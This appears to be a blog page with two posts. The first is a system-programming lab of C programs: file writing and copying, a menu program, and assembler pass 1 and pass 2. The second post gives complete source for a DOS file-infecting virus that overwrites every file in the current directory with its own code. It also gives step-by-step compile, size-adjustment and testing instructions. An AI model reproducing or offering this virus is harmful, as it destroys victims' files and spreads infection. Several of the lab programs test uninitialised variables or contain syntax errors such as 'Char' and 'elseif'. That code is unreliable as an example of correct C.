Showing posts with label programming tutorial. Show all posts
Showing posts with label programming tutorial. Show all posts

Saturday, 7 September 2013

System Programming


System Programming

System Programming : -
In  IT department of a large organization, a technical expert on some or all of the computer's system software (operating systems, networks, DBMSs, etc.). They are responsible for the efficient performance of the computer systems.
In a user organization, systems programmers typically do not write programs, but perform many technical tasks that integrate vendors' software. They also act as technical advisers to systems analysts, application programmers and operations personnel. For example, they would know whether additional tasks could be added to the computer and would recommend conversion to a new operating or database system in order to optimize performance.
Here are few programs which are written  in C LANGUAGE.   This Is the Lab work  of  Sytem Programming.
Q. Write a program to create a menu driven interface for
i) Displaying contents of a file page wise.
ii) Counting Vowels, character and lines in a file
iii) Copying a file.
i) Displaying contents of a file.
Solution.
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *fp;
char ch;
clrscr();
fp=fopen("B1.txt","w");
while(ch!='z')
{
ch=getche();
fputc(ch,fp);
}
fclose(fp);
getch();
}
Output 1

Q.WAP to display contents of file page wise
Solution 
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *sp1,*sp2;
char ch;
sp1=fopen("H1.txt","r");
sp2=fopen("H2.txt","w");
while(ch!=EOF)
{
ch=getc(sp1);
printf("%c",ch);
fputc(ch,sp2);
}
fclose(sp1);
fclose(sp2);
getch();
}
 Output :- 
Program to display contents of file page wise

Q.Write a program for Counting characters in a file
Solution : -
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *fp,*fs,*fs1;
char ch;
clrscr();
fp=fopen("P.txt","w");
while(ch!='*')
{
ch=getche();
fputc(ch,fp);
}
fclose(fp);
fs=fopen("P.txt","r");
fs1=fopen("P 1.txt","w");
while(ch==EOF)
{
ch=getche();
printf("%c",ch);
fputc(ch,fs1);
}
fclose(fs);
fclose(fs1);
getch();
}

program for Counting characters in a file

Q.Write a program to copy the content of one file into another file.
Solution
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *p,*q;
char file1[20],file2[20];
char ch;
clrscr();
printf("\Enter the source file name to be copied:");
gets(file1);
p=fopen(file1,"r");
if(p==NULL)
{
printf("\n Cannot open %s",file1);
getch();
}
printf("\n Enter the destination file name:");
gets(file2);
q=fopen(file2,"w");
if(q==NULL)
{
printf("Cannot open %s",file2);
getch();
}
while((ch=getc(p))!=EOF)
putc(ch,q);
printf("\n COMPLETED");
fclose(p);
fclose(q);
getch();
}

OUTPUT:
program to copy the content of one file into another file.

Q.Write a Menu driven program
Solution
#include<stdio.h>
#include<conio.h>
void main()
{
clrscr();
FILE *ptr1,*ptr2,*ptr3;
char ch,k;
printf("Enter ur choice \n a for writing data onto file \n b for copying to another file \n c for writng and copying data \n");
k=getche();
switch(k)
{
case'a':
printf("\n Write the contents of the file \n");
ptr1=fopen("navi1.txt","w");
while(ch!='*')
{
ch=getche();
fputc(ch,ptr1);
}
printf("\n Contents have been written to the file");
fclose(ptr1);
break;
case'b':
ptr1=fopen("navi1.txt","r");
ptr2=fopen("navi2.txt","w");
printf("\n The contents that have been copied are: \n");
while(ch!=EOF)
{
ch=fgetc(ptr1);
printf("%c",ch);
fputc(ch,ptr2);
}
fclose(ptr1);
fclose(ptr2);
break;
case'c':
printf("\n Write the contents of the file \n");
ptr1=fopen("navi1.txt","w");
while(ch!='*')
{
ch=getche();
fputc(ch,ptr1);
}
printf("\n The contents have been written to the file");
fclose(ptr1);
ptr2=fopen("navi1.txt","r");
ptr3=fopen("navi2.txt","w");
printf("\n The contents that have been copied are: \n");
while(ch!=EOF)
{
ch=fgetc(ptr2);
printf("%c",ch);
fputc(ch,ptr3);
}
fclose(ptr2);
fclose(ptr3);
break;
default:
printf("\n Wrong input");
break;
}
getch();
}
Output :- 
a Menu driven program

Q.Write a program To Study the algorithm and development of Pass 1 of Assembler
Solution:-
#include<stdio.h>
#include<conio.h>
#include<string.h>
#include<stdlib.h>
void main()
{
Char opcode[10],operand[10],label[10],code[10][10],ch; char mnemonic[10][10]={"START","LDA","STA","LDCH","STCH","END"};
int locctr,start,len,i=0,j=0;
FILE *fp1,*fp2,*fp3;
clrscr();
fp1=fopen("INPUT.DAT","r");
fp2=fopen("SYMTAB.DAT","w");
fp3=fopen("OUT.DAT","w");
fscanf(fp1,"%s%s%s",label,opcode,operand);
if(strcmp(opcode,"START")==0)
{
start=atoi(operand);
locctr=start;
fprintf(fp3,"%s\t%s\t%s\n",label,opcode,operand);
fscanf(fp1,"%s%s%s",label,opcode,operand);
}
else
locctr=0;
while(strcmp(opcode,"END")!=0)
{
fprintf(fp3,"%d",locctr);
if(strcmp(label,"**")!=0)
fprintf(fp2,"%s\t%d\n",label,locctr);
strcpy(code[i],mnemonic[j]);
while(strcmp(mnemonic[j],"END")!=0)
{
if(strcmp(opcode,mnemonic[j])==0)
{
locctr+=3;
break;
}
strcpy(code[i],mnemonic[j]);
j++;
}
if(strcmp(opcode,"WORD")==0)
locctr+=3;
else if(strcmp(opcode,"RESW")==0)
locctr+=(3*(atoi(operand)));
else if(strcmp(opcode,"RESB")==0)
locctr+=(atoi(operand));
else if(strcmp(opcode,"BYTE")==0)
++locctr;
fprintf(fp3,"\t%s\t%s\t%s\n",label,opcode,operand);
fscanf(fp1,"%s%s%s",label,opcode,operand);
}
fprintf(fp3,"%d\t%s\t%s\t%s\n",locctr,label,opcode,operand);
fcloseall();
printf("\n\nThe contents of Input Table :\n\n");
fp1=fopen("INPUT.DAT","r");
ch=fgetc(fp1);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp1);
}
printf("\n\nThe contents of Output Table :\n\n\t");
fp3=fopen("OUT.DAT","r");
ch=fgetc(fp3);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp3);
}
len=locctr-start;
printf("\nThe length of the program is %d.\n\n",len);
printf("\n\nThe contents of Symbol Table :\n\n");
fp2=fopen("SYMTAB.DAT","r");
ch=fgetc(fp2);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp2);
}
fcloseall();
getch();
}
OUTPUT :-
Write a program To Study the algorithm and development of Pass 1 of Assembler

Q.Write a program To Study the algorithm and development of Pass 2 of Assembler.
Solution 
#include<stdio.h>
#include<conio.h>
#include<string.h>
void main()
{
char a[10],ad[10],label[10],opcode[10],operand[10],symbol[10],ch;    
Int st,diff,i,address,add,len,actual_len,finaddr,prevaddr,j=0;
char mnemonic[15][15]={"LDA","STA","LDCH","STCH"};
char code[15][15]={"33","44","53","57"};
FILE*fp1,*fp2,*fp3,*fp4;
clrscr();
fp1=fopen("ASSMLIST.DAT","w");
fp2=fopen("SYMTAB.DAT","r");
fp3=fopen("INTERMED.DAT","r");
fp4=fopen("OBJCODE.DAT","w");
fscanf(fp3,"%s%s%s",label,opcode,operand);
while(strcmp(opcode,"END")!=0)
{
prevaddr=address;
fscanf(fp3,"%d%s%s%s",&address,label,opcode,operand);
} finaddr=address;
fclose(fp3);
fp3=fopen("INTERMED.DAT","r");
fscanf(fp3,"%s%s%s",label,opcode,operand);
if(strcmp(opcode,"START")==0)
{
fprintf(fp1,"\t%s\t%s\t%s\n",label,opcode,operand);
fprintf(fp4,"H^%s^00%s^00%d\n",label,operand,finaddr);
fscanf(fp3,"%d%s%s%s",&address,label,opcode,operand);
st=address;
diff=prevaddr-st;
fprintf(fp4,"T^00%d^%d",address,diff); }
while(strcmp(opcode,"END")!=0)
{
if(strcmp(opcode,"BYTE")==0)
{
fprintf(fp1,"%d\t%s\t%s\t%s\t",address,label,opcode,operand);
len=strlen(operand);
actuallen=len-3;
fprintf(fp4,"^");
for(i=2;i<(actual_len+2);i++)
{
itoa(operand[i],ad,16);
fprintf(fp1,"%s",ad);
fprintf(fp4,"%s",ad);
}
fprintf(fp1,"\n");
}
elseif(strcmp(opcode,"WORD")==0)
{
len=strlen(operand);
itoa(atoi(operand),a,10);
fprintf(fp1,"%d\t%s\t%s\t%s\t00000%s\n",address,label,opcode,operand,a);
fprintf(fp4,"^00000%s",a);
}
elseif((strcmp(opcode,"RESB")==0)||(strcmp(opcode,"RESW")==0))
fprintf(fp1,"%d\t%s\t%s\t%s\n",address,label,opcode,operand);
else
{
while(strcmp(opcode,mnemonic[j])!=0)
j++;
if(strcmp(operand,"COPY")==0)
fprintf(fp1,"%d\t%s\t%s\t%s\t%s0000\n",address,label,opcode,operand,code[j]);
else
{
rewind(fp2);
fscanf(fp2,"%s%d",symbol,&add);
while(strcmp(operand,symbol)!=0)
fscanf(fp2,"%s%d",symbol,&add);
fprintf(fp1,"%d\t%s\t%s\t%s\t%s%d\n",address,label,opcode,operand,code[j],add);
fprintf(fp4,"^%s%d",code[j],add);
}
}
fscanf(fp3,"%d%s%s%s",&address,label,opcode,operand);
}
fprintf(fp1,"%d\t%s\t%s\t%s\n",address,label,opcode,operand);
fprintf(fp4,"\nE^00%d",st);
printf("\n Intermediate file is converted into object code");
fcloseall();
printf("\n\nThe contents of Intermediate file:\n\n\t");
fp3=fopen("INTERMED.DAT","r");
ch=fgetc(fp3);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp3);
}
printf("\n\nThe contents of Symbol Table :\n\n");
fp2=fopen("SYMTAB.DAT","r");
ch=fgetc(fp2);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp2);
}
printf("\n\nThe contents of Output file :\n\n");
fp1=fopen("ASSMLIST.DAT","r");
ch=fgetc(fp1);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp1);
}
printf("\n\nThe contents of Object code file :\n\n");
fp4=fopen("OBJCODE.DAT","r");
ch=fgetc(fp4);
while(ch!=EOF)
{
printf("%c",ch);
ch=fgetc(fp4);
}
fcloseall();
getch();
}
Output :-
program To Study the algorithm and development of Pass 2 of Assembler.


Note :- * If these programs are not working please let us know our team will try to solve your problems.Please don't panic and consult your teacher first. Your comments are valuable to us. 



|system programming|computer systems programming| in system programming|c system programming| c | systems programming language| systems program |systems programs|

HOW TO CREATE VIRUS THROUGH "C" PROGRAMMING ?


#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDING YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it.

HOW TO CREATE VIRUS THROUGH "C" PROGRAMMING ?,virus,programm,c, c code, c programming tutorial, c course, c language, c program, c download, introduction to c, c programmers, c programming, c tutorials, turbo c, programing in c, programming c, programming in c, c editor,online,tutorials,files,directory,